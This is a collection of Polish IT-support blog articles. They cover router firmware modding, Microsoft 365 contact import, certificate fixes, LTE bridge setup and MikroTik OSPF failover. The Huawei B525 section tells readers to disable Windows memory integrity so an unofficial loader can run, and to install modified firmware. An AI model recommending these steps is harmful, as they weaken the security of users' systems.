• Security & SIEM (Wazuh, pentesty) – monitorujemy środowisko, wykrywamy anomalie, przygotowujemy testy podatności i wspieramy procesy bezpieczeństwa.

Przykładowe obszary projektów, które pokrywamy end-to-end

1. Bezpieczny endpoint + centralne zarządzanie: ESET + polityki bezpieczeństwa, raporty i automatyzacje.
2. Modern Workplace: Microsoft 365 (MFA, Conditional Access, Exchange Online, OneDrive/SharePoint), szkolenia użytkowników.
3. Sieć firmowa gotowa na wzrost: Ubiquiti – od planu i okablowania po Wi-Fi i segmentację.
4. Kopie zapasowe i odtwarzanie: Synology + dobre praktyki 3-2-1, testy odtworzeniowe.
5. Monitoring i reagowanie: Wazuh SIEM, dashboardy, playbooki incydentowe.

Zespół i wyróżnienia

• ESET: m.in. Alan Lizoń, Błażej Jadach, Dawid Sobieraj, Robert Śpiewak (Administrator), + PROTECT On-Prem, Advanced Administration.
• Microsoft: M365 Admin (Błażej, Dawid, Paweł), Windows Server (Bartosz, Robert), MS-900 (Dawid), Copilot (Dawid).
• Ubiquiti: UWA/UFSP – Piotr Wencławiak i Robert Śpiewak.
• Synology: DSM Architect – Dawid Sobieraj.

Wybierając DSERVE, dostajesz zespół, który potwierdza kompetencje u producentów i potrafi je przełożyć na działające, bezpieczne środowisko IT.

Potrzebujesz wsparcia w ESET / Microsoft 365 / Ubiquiti / Synology / Wazuh?
Napisz do nas – przygotujemy rekomendacje pod Twoją firmę.

Na początek parę informacji odnośnie gwarancji, zmiana firmware wiąże się z utratą gwarancji ze względu na zerwanie plomb przy otwieraniu obudowy Routera Huawei (wymagane do aktualizacji firmware z USB).

Do zmiany wersji firmware potrzebny będzie Kabel USB-A – USB-A oraz drut miedziany do zwarcia pinów, ale o tym za moment.

Na wstępie rozkręcamy router, aby dostać się do płyty głównej. Po odkręceniu 3 śrubek znajdujących się: jedna z tyłu koło przykręcanych anten (musimy ściągnąć zaślepkę) oraz dwie od dołu routera (właśnie tutaj jedna znajduje się pod plombą).

Gdy rozkręcimy obudowę naszym oczom ukaże się płyta główna.

Obraz.1. Widok płyty głównej routera Huawei B525 (przód)

Obraz.2. Widok płyty głównej routera Huawei B525 (tył)

Teraz należy zewrzeć dwa piny u góry od lewej strony, zaraz pod przełącznikami POWER i WPS (trochę podrapać śrubokrętem, jeśli są zaśniedziałe).

Ważne, aby dobrze zewrzeć piny – po zwarciu podpinamy kabel zasilający. Diody nie powinny się nam świecić – wtedy mamy pewność, że przeszliśmy do trybu bootowania z USB.

Teraz podłączamy router z komputerem wspomnianym wcześniej kablem USB.

System Windows 8.1 i 10 nie rozpoznają urządzenia i trzeba zainstalować dodatkowy klucz rejestru oraz sterowniki. Znajdują się one w katalogu Driver/BOS_Solution_2 oraz Driver/Huawei_datacard…

Następnym krokiem jest wgranie bootloadera przez dwuklik na plik load_usbloader.com (nie jako administrator), w oknie Command Line musi dojść do 100% i zapalą się 3 diody w tym jedna czerwona. W tym przypadku trzeba jeszcze wyłączyć w Windows 11 ustawienie integralności pamięci. Ta zakładka znajduje się w sekcji zabezpieczenia Windows na stronie izolacja rdzenia.

Nie odłączając kabla USB klikamy dwuklikiem na plik B525s-23a_Update_11.236.01.00.00_M_AT_04.01.exe i czekamy aż się skończy ładować i wykrywać nasz port.

Po tej czynności, gdy będziemy mieli sukces (trochę to trwa) – możemy odpiąć kabel USB i skręcić nasz router. Włączamy go i logujemy się na stronie podanej od dołu routera (adres IP) po wcześniejszym podłączeniu kablem RJ-45 naszego routera z komputerem.

Dane logowania:

Login: admin

Hasło: admin / hasło od dołu routera

Przywracamy następnie ustawienia fabryczne.

Kolejnym krokiem z poziomu zalogowanego administratora robimy update przez GUI (ostatnia zakładka lub ?) -> Local Update i wybieramy plik B525s-23a_Update_WEBUI_11.236.01.00.00_Mod1.1.bin i po ukończonym update znów przywracamy ustawienia fabryczne.

Ostatnim krokiem będzie ponowne wgranie update, aby zakładka „Bridge” nam się pokazała w ustawieniach. Wchodzimy więc znów w zakładkę Update -> Local update i tym razem wybieramy plik B525s-23a_UPDATE_11.190.61.00.965.bin.

Po tym kroku i oczywiście restarcie routera powinna nam się pokazać zakładka do konfiguracji trybu Bridge na stronie Security.

Wszystkie pliki znajdują się w katalogu B525s-23a_FINALUSB.zip. -> plik

Autor: Błażej Jadach

Dodawanie setek lub tysięcy kontaktów zewnętrznych do Microsoft 365 ręcznie to droga przez mękę. Poniżej pokazuję sprawdzony sposób na hurtowe wgrywanie kontaktów (Mail Contacts) z pliku CSV z pełną walidacją oraz bez duplikatów — wszystko jednym skryptem PowerShell.

Co zyskasz?

• Oszczędność czasu – import całych list w minutach.
• Idempotencja – skrypt nie doda duplikatów (sprawdza DisplayName i ExternalEmailAddress).
• Czytelne komunikaty – wiesz, co się udało, co już istniało i co poszło nie tak.

Wymagania wstępne

1. Uprawnienia z rolą wystarczającą do tworzenia Mail Contacts (np. Exchange Admin).
2. PowerShell 5.1+ (Windows) lub 7.x (Core).
3. Moduł: ExchangeOnlineManagement.

Instalacja modułu i logowanie:

Install-Module ExchangeOnlineManagement -Scope CurrentUser -Force
Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline

Przygotowanie CSV

Plik CSV musi mieć nagłówki dokładnie w tej postaci (bez polskich znaków i spacji, jak niżej):

FirstName,LastName,DisplayName,Alias,ExternalEmailAddress
Jan,Kowalski,Jan Kowalski,j.kowalski,jan.kowalski@example.com
Anna,Nowak,Anna Nowak,a.nowak,anna.nowak@example.com

Wskazówki:

• Kodowanie pliku: UTF-8 (z BOM), separator: przecinek (,).
• Alias powinien być unikalny (bez spacji i znaków specjalnych).
• ExternalEmailAddress – pełny, poprawny e-mail (np. anna.nowak@firma.pl).

Skrypt PowerShell (wklej i uruchom)

Poniżej skrypt, który:

• importuje CSV,
• dla każdego wiersza sprawdza, czy kontakt już istnieje (po DisplayName lub ExternalEmailAddress),
• tworzy kontakt tylko gdy go nie ma,
• wypisuje przejrzyste komunikaty.

$csvFilePath = "export-csc.csv"

try {
    $Contacts = Import-Csv $csvFilePath

    foreach ($Contact in $Contacts) {
        try {
            if (Get-MailContact -Filter "DisplayName -eq '$($Contact.DisplayName)' -or ExternalEmailAddress -eq '$($Contact.ExternalEmailAddress)'" -ErrorAction SilentlyContinue) {
                Write-Host "Contact $($Contact.ExternalEmailAddress) already exists" -ForegroundColor Yellow
            }
            else {
                $contactParams = @{
                    Name                 = $Contact.DisplayName
                    FirstName            = $Contact.FirstName
                    LastName             = $Contact.LastName
                    DisplayName          = $Contact.DisplayName
                    Alias                = $Contact.Alias
                    ExternalEmailAddress = $Contact.ExternalEmailAddress
                    # WhatIf              = $true   # <- odkomentuj do testów (dry-run)
                }

                $null = New-MailContact @contactParams
                Write-Host "Contact $($Contact.ExternalEmailAddress) added successfully" -ForegroundColor Green
            }
        }
        catch {
            Write-Host "Failed to add contact $($Contact.ExternalEmailAddress). Error: $_" -ForegroundColor Red
        }
    }
}
catch {
    Write-Host "Failed to import CSV file. Error: $_" -ForegroundColor Red
}

One-liner (wskażesz tylko plik)

Po zalogowaniu Connect-ExchangeOnline możesz użyć wersji jednowierszowej (przeklej w jedną linię, zmień ścieżkę):

$csv="C:\ścieżka\export-csc.csv"; Import-Csv $csv | % { if(Get-MailContact -Filter "DisplayName -eq '$($_.DisplayName)' -or ExternalEmailAddress -eq '$($_.ExternalEmailAddress)'" -ErrorAction SilentlyContinue){Write-Host "Contact $($_.ExternalEmailAddress) already exists" -ForegroundColor Yellow} else { try { New-MailContact -Name $_.DisplayName -FirstName $_.FirstName -LastName $_.LastName -DisplayName $_.DisplayName -Alias $_.Alias -ExternalEmailAddress $_.ExternalEmailAddress | Out-Null; Write-Host "Contact $($_.ExternalEmailAddress) added successfully" -ForegroundColor Green } catch { Write-Host "Failed to add contact $($_.ExternalEmailAddress). Error: $_" -ForegroundColor Red } } }

Test bez zmian (tryb „WhatIf”)

Chcesz sprawdzić import bez tworzenia kontaktów?
W skrypcie głównym odkomentuj linię WhatIf = $true. Dzięki temu zobaczysz, co zostałoby utworzone.

Weryfikacja po imporcie

• Centrum administracyjne Microsoft 365 → Exchange admin center → Recipients → Contacts.
• Tu zobaczysz nowo dodane pozycje, możesz też je edytować (telefon, firma, uwagi).

Najczęstsze problemy i rozwiązania

• „Failed to import CSV” – sprawdź kodowanie (UTF-8), separator (,), brak pustych kolumn.
• Duplikaty – skrypt ich nie tworzy; jeżeli kontakt istnieje (po DisplayName lub ExternalEmailAddress), dostaniesz żółty komunikat.
• Brak uprawnień – upewnij się, że konto ma rolę Exchange Admin / odpowiednie RBAC.
• Throttling / limity – przy bardzo dużych paczkach rozważ batchowanie (np. po 500 rekordów) lub przerwę Start-Sleep -Seconds 1 w pętli.

Poniżej znajdziesz szybką instrukcję do przekazania użytkownikowi końcowemu oraz wersję rozszerzoną dla administratora.

TL;DR – skrócona instrukcja dla użytkownika (Sigillum / IDProtect)

Instrukcja naprawiająca problem użycia certyfikatów w programach księgowych.

1. Wyjmij kartę z czytnika (albo odłącz czytnik od komputera).
2. Otwórz magazyn certyfikatów Windows: w Menu Start wpisz certmgr.msc i naciśnij Enter.
3. Przejdź do: Osobisty → Certyfikaty.
4. Usuń wszystkie certyfikaty wystawione przez „CUZ Sigillum – QCA1” (prawy przycisk myszy → Usuń → Tak). Powtórz, aż w tej gałęzi nie będzie już takich certyfikatów.
5. Przejdź do: Inne osoby.
6. Usuń certyfikaty wystawione przez „CUZ Sigillum – QCA1” oraz wystawione dla Twojego imienia i nazwiska (prawy przycisk myszy → Usuń → Tak). Usuń wszystkie takie pozycje.
7. Zamknij okno Menedżera certyfikatów.
8. Odinstaluj program IDProtect (Panel sterowania → Programy i funkcje albo Ustawienia → Aplikacje).
9. Włóż kartę do czytnika / podłącz czytnik do komputera i odczekaj chwilę – system ponownie zaimportuje certyfikaty do prawidłowego magazynu.
10. Uruchom Sigillum Menedżer.
11. Wejdź w Ustawienia i zaznacz checkbox „Użyj mechanizmu CSP”.
12. Wróć do programu (Comarch / Płatnik) i ponów wysyłkę dokumentu.

Po tych krokach błąd „Zestaw kluczy nie istnieje” powinien zniknąć.

Co powoduje błąd „Zestaw kluczy nie istnieje”?

• Brak powiązania z kluczem prywatnym – Windows widzi certyfikat bez dostępu do jego kontenera klucza (często po aktualizacjach, migracji profilu lub zmianie sterowników).
• Zły magazyn certyfikatów – certyfikat trafia do Inne osoby zamiast do Osobisty, albo istnieją zduplikowane wpisy.
• Niewłaściwy dostawca kryptograficzny – w środowiskach z kartami kwalifikowanymi Sigillum należy włączyć CSP (CryptoAPI) w Sigillum Menedżerze.

Instrukcja rozszerzona dla administratora IT

1) Weryfikacja środowiska

• System: Windows 10/11 (x64), uprawnienia lokalnego administratora.
• Karta/czytnik: poprawnie wykryty w Menedżerze urządzeń.
• Oprogramowanie: Sigillum Menedżer + sterowniki IDProtect (lub nowszy pakiet zalecony przez dostawcę certyfikatu).

2) Czyszczenie błędnych wpisów w magazynach

1. Odłącz kartę / czytnik.
2. certmgr.msc → Osobisty → Certyfikaty → usuń wszystkie wystawione przez „CUZ Sigillum – QCA1”.
3. certmgr.msc → Inne osoby → usuń pozycje „CUZ Sigillum – QCA1” oraz „Wystawiony dla: Imię i nazwisko użytkownika”.
4. (Opcjonalnie) W Zaufane główne urzędy certyfikacji oraz Pośrednie urzędy certyfikacji sprawdź, czy nie ma zduplikowanych/nieaktualnych łańcuchów Sigillum – zwykle nie wymagają usuwania.

Uwaga: operacje wykonuj w kontekście użytkownika, który podpisuje. Magazyn Bieżący użytkownik ma znaczenie – czyszczenie w Lokalny komputer nie usuwa wpisów z profilu użytkownika.

3) Sterowniki i CSP

1. Aplikacje i funkcje → odinstaluj IDProtect.
2. Włóż kartę / podłącz czytnik – Windows doinstaluje niezbędne składniki, a certyfikaty z karty zostaną ponownie zmapowane do profilu.
3. Uruchom Sigillum Menedżer → Ustawienia → zaznacz „Użyj mechanizmu CSP” → Zapisz.

4) Test podpisu w Comarch / Płatnik

• W Comarch ERP uruchom proces podpisu (np. wysyłka e‑Deklaracji/JPK). Jeżeli pojawia się wybór certyfikatu, wskaż certyfikat z Twoim imieniem i nazwiskiem.
• W Płatniku wykonaj test podpisu profilu zaufania kwalifikowanego na przykładowym dokumencie.

5) Weryfikacja po naprawie

• certmgr.msc → Osobisty → Certyfikaty: certyfikat użytkownika powinien mieć status „Masz klucz prywatny zgodny z tym certyfikatem” (ikona z kluczykiem).
• Brak duplikatów tego samego certyfikatu w Inne osoby.

Najczęstsze pytania (FAQ)

Czy usunięcie certyfikatów z magazynu coś „psuje” na karcie?
Nie. Usuwasz tylko wpisy w profilu Windows. Fizyczny klucz prywatny pozostaje na karcie – po włożeniu karty wpisy odtworzą się poprawnie.

Nie widzę certmgr.msc lub nie mam uprawnień.
Użyj mmc.exe → Plik → Dodaj/Usuń przystawkę → Certyfikaty → Konto użytkownika. Uruchom jako użytkownik podpisujący.

Czy to dotyczy wyłącznie Sigillum?
Opis dotyczy najczęstszych przypadków z „CUZ Sigillum – QCA1”. Przy innych dostawcach mechanizm jest podobny, ale nazwy urzędów i sterowniki będą inne.

Po wykonaniu kroków błąd nadal się pojawia. Co dalej?

• Zaktualizuj Sigillum Menedżer i sterowniki czytnika/karty.
• Sprawdź, czy w Sigillum Menedżer → Ustawienia na pewno aktywne jest CSP.
• Przetestuj na innym stanowisku z tym samym profilem użytkownika (wyklucz uszkodzenie profilu).
• Zweryfikuj, czy karta nie wygasła/blokada PIN (w Sigillum Menedżerze lub narzędziu dostawcy).

Dobre praktyki na przyszłość

• Regularnie aktualizuj oprogramowanie kart i czytników oraz same aplikacje Comarch.
• Unikaj migracji profilu użytkownika „na sucho” – po przenosinach zweryfikuj magazyny certyfikatów.
• Ogranicz liczbę kont użytkowników korzystających z tej samej karty na jednym PC.

Potrzebujesz pomocy?

Jeśli po wykonaniu powyższych kroków problem nadal się pojawia, skontaktuj się z nami. W DSERVE szybko diagnozujemy konflikty magazynów certyfikatów, konfigurujemy Sigillum / IDProtect oraz integracje podpisu w Comarch ERP i innych systemach księgowych.

• kontakt: biuro@dserve.pl
• tel.: 503‑683‑550

Artykuł przygotowany przez zespół DSERVE – Kompleksowe Wsparcie IT. Możesz swobodnie przekazać sekcję „TL;DR – skrócona instrukcja” swoim pracownikom lub klientom jako mini‑instrukcję naprawczą

1) Aktywuj usługę u operatora

• Najpierw skontaktuj się z T-Mobile i włącz usługę stałego publicznego IP (zwykle dostępna w planach firmowych).
• Dopiero po potwierdzeniu aktywacji przechodzimy do konfiguracji routera.

2) Ustaw poprawny APN: data

Domyślny APN to zwykle internet – daje prywatny, często zmienny adres (CGNAT).
Dla publicznego IP użyj APN data.

Huawei (np. B525/B535 itp.)

1. Wejdź w ustawienia połączenia mobilnego.
2. Zmień tryb z Automatyczny na Ręczny, aby odblokować edycję profilu.
3. Utwórz/edytuj profil:
   • Nazwa profilu: np. TMobile-Public
   • APN: data
   • Uwierzytelnianie: zwykle Brak (jeśli wymagane – PAP/CHAP).
4. Zapisz i połącz ponownie (czasem potrzebny restart routera).

MikroTik (RouterOS z modemem LTE)

• W GUI: Interfaces → LTE → APN Profiles → dodaj profil z APN: data i przypisz go do interfejsu LTE.
• (Opcjonalnie CLI) /interface lte apn add name=tmo-public apn=data /interface lte set [find] apn-profiles=tmo-public

3) Sprawdź, czy adres jest publiczny

• Po ponownym połączeniu wejdź na stronę typu „what is my IP” i upewnij się, że adres nie należy do zakresów prywatnych (np. 10.x.x.x, 100.64.0.0/10, 192.168.x.x).
• Jeśli w panelu routera nadal widzisz prywatny adres, skontaktuj się z operatorem i upewnij, że usługa jest aktywna oraz APN to data.

Bezpieczeństwo — ważne!

Publiczny IP „wystawia” Twoją sieć do Internetu. Zadbaj o:

• poprawną konfigurację firewalla i wyłączenie zbędnych przekierowań,
• aktualizacje firmware’u/routera,
• dostęp administracyjny wyłącznie przez VPN (nie wystawiaj RDP/SSH wwwprost).

Uwaga: Stałe publiczne IP to usługa oferowana głównie w planach biznesowych. U innych operatorów dostępność i APN mogą się różnić.

Kategorie: LTE/5G, APN, MikroTik, Huawei, VPN, Bezpieczeństwo

Ważne ostrzeżenia

• Bridge mode w B525s-23a wymaga nowszego/nieoficjalnego firmware. Producent/Operator tego nie wspiera – aktualizujesz na własne ryzyko (utrata gwarancji, możliwość „uceglenia”, brak aktualizacji online).
• Po włączeniu bridge:
  • działa tylko jedno urządzenie po kablu (MikroTik),
  • NAT, DHCP, Wi-Fi, Virtual Server/DMZ na Huawei są wyłączone,
  • zarządzanie web UI modemu może być ograniczone lub niedostępne, dopóki nie wrócisz z bridge.
• W testach wdrożeniowych rozwiązanie działało stabilnie.

Co będzie potrzebne

• Huawei B525s-23a z wgranym firmware wprowadzającym opcję Bridge Mode.
• Aktywna karta SIM z poprawnym APN.
• MikroTik (np. ether1 jako WAN).
• Jeden przewód Ethernet: LAN z Huawei → ether1 (WAN) w MikroTiku.

Krok 1. Aktualizacja firmware (na własne ryzyko)

1. Zrób kopię konfiguracji B525.
2. Zaloguj się do panelu (zwykle 192.168.8.1 → Update / Local update).
3. Wgraj firmware, który dodaje Bridge Mode.
4. Po restarcie sprawdź, czy w menu pojawiła się pozycja Settings → Security → Bridge Mode.

PLIK FIRMWARE DO POBRANIA

Do pobrania: HUAWEI B525s-23a – bridge mode ipv6-firmware download

Uwaga: część wersji brandowanych przez operatorów ukrywa tę opcję – bez zamiany firmware jej nie zobaczysz.

Krok 2. Włączenie Bridge Mode na Huawei

1. Wejdź: Settings → Security → Bridge Mode.
2. Zaznacz Enable bridge mode → Apply (modem się zrestartuje).
3. Wyłącz Wi-Fi w Huawei (i tak nie będzie użyteczne).
4. Włóż kartę SIM, ustaw właściwy APN (przed włączeniem bridge) i sprawdź rejestrację w sieci.

W trybie bridge B525 przepuści adres (najczęściej z DHCP operatora) bezpośrednio do urządzenia podłączonego kablem.

Krok 3. Połączenie fizyczne

• Podłącz jeden kabel: LAN1 (Huawei) → ether1 (MikroTik).
• Nie wpinaj przed MikroTikiem żadnego switcha – bridge zwykle „przepuszcza” IP do jednego MAC-a.

Krok 4. Konfiguracja MikroTika (wariant domyślny — DHCP)

W terminalu MikroTika:

# 1) Ustaw WAN (ether1) jako klienta DHCP
/ip dhcp-client add interface=ether1 use-peer-dns=no add-default-route=yes disabled=no

# 2) (Opcjonalnie) Własne DNS dla LAN i cache na MT
/ip dns set servers=1.1.1.1,8.8.8.8 allow-remote-requests=yes

# 3) Źródłowe NAT (jeśli MT ma robić NAT dla sieci LAN)
/ip firewall nat add chain=srcnat out-interface=ether1 action=masquerade comment="NAT -> LTE (bridge)"

# 4) Minimalna ochrona routera od strony WAN
/ip firewall filter
add chain=input connection-state=established,related action=accept comment="keep established/related"
add chain=input in-interface=ether1 action=drop comment="blokuj dostęp do routera z WAN"

# 5) Kontrola – czy dostaliśmy adres i trasę?
/ip dhcp-client print detail
/ip address print
/ip route print

Po chwili /ip dhcp-client powinien pokazać status bound, a w /ip route zobaczysz bramę od operatora.

Krok 5. Konfiguracja MikroTika (wariant ręczny – stały publiczny IP)

Jeśli operator przydzielił statyczny adres i parametry:

# podstaw swoje wartości
/ip address add address=<Twoje_IP>/xx interface=ether1 comment="WAN LTE statyczny"
/ip route add dst-address=0.0.0.0/0 gateway=<Brama_operatora>
/ip dns set servers=<DNS1>,<DNS2> allow-remote-requests=yes

# NAT i firewall jak w wariancie DHCP (jeżeli NAT ma być na MT)

Testy połączenia

/tool ping 8.8.8.8 count=10
/tool ping google.com count=10

Brak odpowiedzi? Sprawdź:

• czy APN na Huawei był ustawiony przed włączeniem bridge,
• czy MikroTik dostał adres z DHCP (nie 0.0.0.0),
• czy operator nie przypisuje adresu z puli CGNAT (10.x.x.x, 100.64.0.0/10) – port-forward z Internetu wtedy nie zadziała (rozwiązanie: VPN/serwer pośredniczący albo publiczny IP u operatora).

Jak zarządzać Huawei w bridge?

W wielu wersjach po włączeniu bridge panel B525 bywa niedostępny. Najprościej:

• na czas zmian wyłącz bridge (reset do fabrycznych przyciskiem),
• albo podłącz laptop bezpośrednio do B525 i zarządzaj z osobnej sieci.

Odwrócenie zmian (powrót z bridge)

• Odłącz MikroTika, podłącz komputer bezpośrednio do B525.
• Jeśli panel nie odpowiada, przytrzymaj RESET ~10–15 s (przywraca tryb routera).
• Przywróć kopię konfiguracji, włącz Wi-Fi/NAT według potrzeb.

Najczęstsze pytania

Czy to daje publiczny IPv4?
Niekoniecznie. Bridge usuwa podwójny NAT po stronie Ciebie, ale jeśli operator daje adres z CGNAT, nadal nie wystawisz usług bez dodatkowych rozwiązań.

Czy mogę podpiąć switch przed MikroTikiem?
Nie. W bridge B525 zwykle „przepuszcza” IP tylko do jednego urządzenia (MAC). Switch powoduje niestabilności.

Co z VoIP/Virtual Server na Huawei?
W bridge te funkcje są wyłączone – wszystkim zarządza MikroTik.

Podsumowanie

1. Wgraj firmware z opcją Bridge Mode (na własne ryzyko).
2. Włącz Bridge Mode w B525s-23a.
3. Połącz B525 → MikroTik (ether1/WAN) jednym kablem.
4. Na MikroTiku ustaw DHCP client (lub ręczną adresację), NAT i firewall.

Rozwiązanie usuwa podwójny NAT i pozwala traktować LTE jak normalne łącze WAN na MikroTiku. W naszych wdrożeniach działa stabilnie i przewidywalnie.

Firmy z siecią sklepów wymagają stabilnego i bezpiecznego połączenia każdego oddziału z centralą. W praktyce oznacza to użycie dwóch niezależnych łączy – głównego (SD‑WAN Orange) i zapasowego (lokalny operator lub GSM z publicznym adresem IP). Zastosowanie dynamicznego routingu sprawia, że w razie awarii urządzenia same wybierają właściwą trasę bez udziału administratora. Ten poradnik opisuje konfigurację takiego rozwiązania na routerach Mikrotik z wykorzystaniem tunelu IPIP i protokołu OSPF.

Dlaczego tunel IPIP z OSPF?

• Dynamiczny routing zamiast statycznego. W dynamicznych protokołach, takich jak OSPF, routery wymieniają informacje o trasach i automatycznie reagują na zmiany w topologii sieci. Dzięki temu sieć może równoważyć obciążenie i przełączać się na inną trasę w razie problemu. Statyczne wpisy wymagają ręcznej aktualizacji.
• Skalowalność i łatwość zarządzania. OSPF pozwala organizować sieć w obszary, dzięki czemu nawet duża liczba sklepów jest łatwa w obsłudze. Dodawanie nowych oddziałów sprowadza się do dołączenia ich do protokołu zamiast konfigurowania wielu statycznych tras.
• Brak wsparcia OSPF w IPsec. W większości implementacji IPsec dynamiczne protokoły IGP (np. OSPF) nie są wspierane – producent VMware wprost zaznacza, że „OSPF dynamic routing is not supported for routing through IPSec VPN tunnels” Aby przesyłać OSPF po szyfrowanym tunelu, trzeba nakładać dodatkowy tunel (np. GRE lub IPIP), co zwiększa złożoność.
• Szybsze przełączenie łącza. W przykładzie opisanym niżej przełączenie ruchu na zapasowe łącze zajmuje ok. 1 ms, ponieważ tunel IPIP jest zestawiony na stałe. Router zmienia jedynie koszt trasy w OSPF, a gotowe trasy znajdują się już w tablicy routingu.

Schemat rozwiązania

Poniższy diagram ilustruje architekturę – sklep (oddział) i centrala mają dwa uplinki. Główne łącze (WAN 1) to SD‑WAN Orange, zaś WAN 2 to łącze zapasowe dowolnego operatora z publicznym adresem IP.

Na zapasowym łączu stale działa tunel IPIP, którym płyną pakiety dynamicznego routingu OSPF. Koszt trasy przez tunel backupowy jest wyższy, więc używana jest tylko w przypadku awarii głównego łącza.

Konfiguracja w centrali (HQ)

Poniższy przykład zakłada, że centrala posiada publiczny adres IP oraz dwa łącza WAN: SD‑WAN Orange i zapasowe łącze operatora z publicznym adresem IP. W każdym przypadku należy zastąpić wartości PUBLICZNY-ADRESIPLOKALNY, PUBLICZNY-ADRESIPZDALNY, BRAMA-ORANGE itp. właściwymi adresami z waszej sieci.

1. Utworzenie tunelu IPIP

Tunel IPIP zestawiamy zawsze pomiędzy publicznymi adresami centrali i oddziału. W scentralnej konfiguracji lokalny adres to publiczny adres centrali (na zapasowym łączu), a adres zdalny to publiczny adres oddziału:

/interface ipip
add allow-fast-path=no local-address=PUBLICZNY-ADRESIPLOKALNY \
    name=ipip-tunnel-sklep remote-address=PUBLICZNY-ADRESIPZDALNY

2. Adresacja tunelu

Na świeżo utworzonym interfejsie nadajemy adres z podsieci /30. Dobrym zwyczajem jest używanie podsieci z zakresu prywatnego przeznaczonej tylko do tuneli – zapobiega to kolizjom z adresacją LAN. Przykładowo:

/ip address
add address=10.14.2.2/30 interface=ipip-tunnel-sklep network=10.14.2.0

3. Konfiguracja OSPF

Dynamiczny routing OSPF wymaga utworzenia instancji protokołu, obszaru i definicji interfejsów:

/routing ospf instance
add name=ospf-instance-1 router-id=10.13.13.2

/routing ospf area
add name=ospf-area-1 instance=ospf-instance-1

/routing ospf interface-template
add area=ospf-area-1 networks=10.250.0.0/24 passive
add area=ospf-area-1 cost=10 networks=10.14.2.0/30
add area=ospf-area-1 networks=100.103.0.0/30

Najważniejsze parametry:

• Koszt (cost). Wyższy koszt dla interfejsu tunelu oznacza, że OSPF wybierze go tylko wtedy, gdy główne połączenie stanie się niedostępne. W naszym przykładzie koszt 10 sprawia, że trasa przez tunel backupowy jest mniej preferowana.
• Passive interface. Lokalne sieci (np. LAN centrali) oznaczamy jako passive, aby router nie wysyłał do nich pakietów OSPF. Zmniejsza to ilość ruchu w sieci i eliminuje niepotrzebną propagację tras.

4. Przełączanie na łącze zapasowe (fail‑over)

Router Mikrotik potrafi monitorować dostępność bramy poprzez funkcję check‑gateway i na tej podstawie wyłączać/aktywować trasę. W dokumentacji Mikrotik opisano scenariusz z dwoma uplinkami, gdzie pierwszy jest preferowany, a drugi pełni rolę backupu. Trasę domyślną definiujemy więc z różnymi wartościami distance oraz z parametrem check-gateway=ping wskazującym publiczny adres do testów (np. 1.1.1.1):

/ip route
# Trasa główna (SD‑WAN Orange) – niższy dystans oznacza wyższy priorytet
add check-gateway=ping distance=2 dst-address=0.0.0.0/0 \
    gateway=1.1.1.1 scope=30 target-scope=30
add dst-address=1.1.1.1/32 gateway=BRAMA-ORANGE scope=9

# Trasa zapasowa – większy dystans, aktywuje się tylko przy braku odpowiedzi
add distance=5 dst-address=0.0.0.0/0 gateway=ADRES-GATEWAY-ZAPASOWY

Wpis dla adresu 1.1.1.1/32 upewnia się, że router zna drogę do testowanego serwera; bez tego check‑gateway nie zadziała. Gdy 1.1.1.1 nie odpowiada na serię pingów, trasa główna zostaje oznaczona jako nieaktywna, a cały ruch trafia przez trasę zapasową.

5. Dodatkowa tablica routingu i znaczniki mangle

Jeśli zapasowe łącze posiada własny publiczny adres IP, ruch z tego adresu wymaga oddzielnej tablicy routingu. Najpierw tworzymy tablicę, potem dodajemy domyślną trasę w tej tablicy i tworzymy regułę mangle oznaczającą pakiety wychodzące z publicznego adresu zapasowego:

/routing table
add fib name=play

/ip route
add distance=1 dst-address=0.0.0.0/0 gateway=ADRES-GATEWAY-ZAPASOWY routing-table=play

/ip firewall mangle
add chain=output action=mark-routing new-routing-mark=play \
    src-address=PUBLICZNYADRESIP-ZAPAS

Konfiguracja w oddziale (sklepie)

Oddział konfiguruje tunel IPIP w analogiczny sposób, podając swój publiczny adres jako local-address, a adres centrali jako remote-address. Adres IP tunelu w oddziale to 10.14.2.1/30:

/interface ipip
add allow-fast-path=no local-address=PUBLICZNY-ADRESIPLOKALNY \
    name=ipip-tunnel-centrala remote-address=PUBLICZNY-ADRESIPZDALNY

/ip address
add address=10.14.2.1/30 interface=ipip-tunnel-centrala network=10.14.2.0

OSPF w oddziale

Ustawiamy unikalny router‑id w instancji OSPF i analogiczną strukturę obszarów. Lokalne sieci (np. 192.168.12.0/24) oznaczamy jako passive, a interfejs tunelu otrzymuje wyższy koszt niż trasa główna przez SD‑WAN:

/routing ospf instance
add name=ospf-instance-1 router-id=10.13.13.255

/routing ospf area
add instance=ospf-instance-1 name=ospf-area-1

/routing ospf interface-template
add area=ospf-area-1 networks=192.168.12.0/24 passive
add area=ospf-area-1 cost=10 networks=10.14.2.0/30
add area=ospf-area-1 networks=100.103.0.0/30

Fail‑over i routowanie w oddziale

Oddział definiuje domyślne trasy podobnie do centrali, z niższym dystansem dla SD‑WAN (Orange) i wyższym dla łącza zapasowego. Oprócz tego, aby zapewnić dostęp do routera z publicznym adresu zapasowego, tworzymy osobną tablicę routingu (strefa) i oznaczamy pakiety mangle z tym adresem:

/ip route
# Brama domyślna SD‑WAN (priorytet 1, monitorowanie pingiem)
add check-gateway=ping distance=1 dst-address=0.0.0.0/0 \
    gateway=ADRES-BRAMY-SDWAN

# Brama domyślna dla łącza zapasowego (priorytet 2)
add distance=2 dst-address=0.0.0.0/0 gateway=ADRES-BRAMY-ZAPAS

/routing table
add fib name=strefa

/ip route
add distance=2 dst-address=0.0.0.0/0 gateway=ADRES-BRAMY-ZAPAS routing-table=strefa

/ip firewall mangle
add chain=output action=mark-routing new-routing-mark=strefa \
    src-address=PUBLICZNY-ADRES-IP

Końcowa konfiguracja NAT w oddziale obejmuje dodanie interfejsu zapasowego do listy interfejsów WAN, aby oba łącza zapewniały internet klientom sklepu.

Testy i utrzymanie

1. Sprawdzenie sąsiedztwa OSPF. Polecenie /routing ospf neighbor print w obu lokalizacjach powinno pokazać sąsiada po drugiej stronie tunelu. Brak sąsiada oznacza problem z tunelami IPIP lub zaporą.
2. Weryfikacja tras OSPF. Polecenie /ip route print where routing-protocol=ospf powinno wyświetlać trasy dynamiczne do podsieci LAN w oddziałach. Sprawdź, czy koszt tras odpowiada oczekiwanym wartościom.
3. Test fail‑over. Odłącz główne łącze SD‑WAN i obserwuj, czy router wyłącza trasę główną oraz czy ruch przechodzi przez zapasową trasę (status S w tablicy routingu). Po przywróceniu łącza ruch powinien wrócić na trasę główną.
